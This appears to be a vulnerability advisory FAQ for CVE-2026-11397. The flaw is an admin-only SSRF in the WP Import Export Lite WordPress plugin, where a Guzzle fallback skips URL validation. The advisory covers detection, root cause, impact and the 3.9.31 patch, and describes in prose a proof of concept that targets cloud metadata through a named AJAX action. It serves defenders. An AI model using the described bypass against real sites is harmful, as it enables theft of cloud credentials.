CVE-2026-11397 is a Server-Side Request Forgery (SSRF) vulnerability in the WP Import Export Lite plugin for WordPress, affecting versions up to and including 3.9.30. It allows authenticated attackers with administrator-level access to make arbitrary HTTP requests from the server, potentially reaching internal services like cloud metadata endpoints.
How does the SSRF vulnerability work?
Technical explanation
The plugin first attempts to download a file using wp_safe_remote_get(), which blocks private IP ranges. However, if that call fails (as it does for internal hosts), it falls back to GuzzleHttpClient::request() with the original attacker-supplied URL and no SSRF protection. This bypass allows requests to internal resources like 169.254.169.254.
Who is affected by this vulnerability?
Affected users
Any WordPress site running WP Import Export Lite version 3.9.30 or earlier is affected. The attacker must have administrator-level access to the WordPress dashboard, so sites with untrusted administrators or compromised admin accounts are at risk.
How can I check if my site is vulnerable?
Detection
Check the installed version of WP Import Export Lite in the WordPress plugins page. If it is 3.9.30 or lower, the site is vulnerable. You can also verify by reviewing the plugin files for the download.php file and checking if it uses wp_http_validate_url() in the download_file() method.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 5.5 (Medium). This reflects the requirement for high-level authentication (administrator), but the potential impact includes accessing cloud metadata and internal services, which can lead to credential theft and lateral movement in cloud environments.
How do I fix or mitigate this vulnerability?
Remediation
Update WP Import Export Lite to version 3.9.31 or later, which adds URL validation via wp_http_validate_url() before any download attempt. As a temporary mitigation, restrict administrator access to trusted users and monitor for unusual AJAX requests to admin-ajax.php with the wpie_import_upload_file_from_url action.
What does the proof of concept demonstrate?
PoC explanation
The PoC authenticates as an administrator and sends an AJAX request with a file_url pointing to an internal resource like the cloud metadata endpoint. It shows that the plugin retrieves the metadata despite initial SSRF protections, confirming the bypass.
What is the root cause of this vulnerability?
Code analysis
The root cause is in the download.php file. The download_file() method calls wp_download() first, which uses wp_safe_remote_get(). When that fails, it calls guzzle_download() which uses GuzzleHttpClient::request() without any URL validation or IP filtering, and with SSL verification disabled.
What is the impact of exploiting this vulnerability?
Potential damage
An attacker can scan internal networks, retrieve sensitive data from cloud metadata endpoints (e.g., AWS IAM credentials), and interact with internal services. This could lead to data exfiltration, lateral movement, and further compromise of connected systems.
Why does the plugin fall back to Guzzle?
Fallback mechanism
The plugin uses Guzzle as an alternative HTTP client when wp_safe_remote_get() fails, likely to handle edge cases or different server configurations. However, this fallback lacks SSRF protections, creating the vulnerability.
How was the vulnerability patched?
Patch details
In version 3.9.31, the plugin added a call to wp_http_validate_url() at the beginning of the download_file() method. This validates the URL against allowed schemes and blocks internal/private IP ranges before any download attempt, preventing the SSRF bypass.
Is this vulnerability exploitable without authentication?
Authentication requirement
No, the vulnerability requires administrator-level authentication. The AJAX action wpie_import_upload_file_from_url is only accessible to users with the appropriate capabilities. However, if an administrator account is compromised, the risk is significant.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started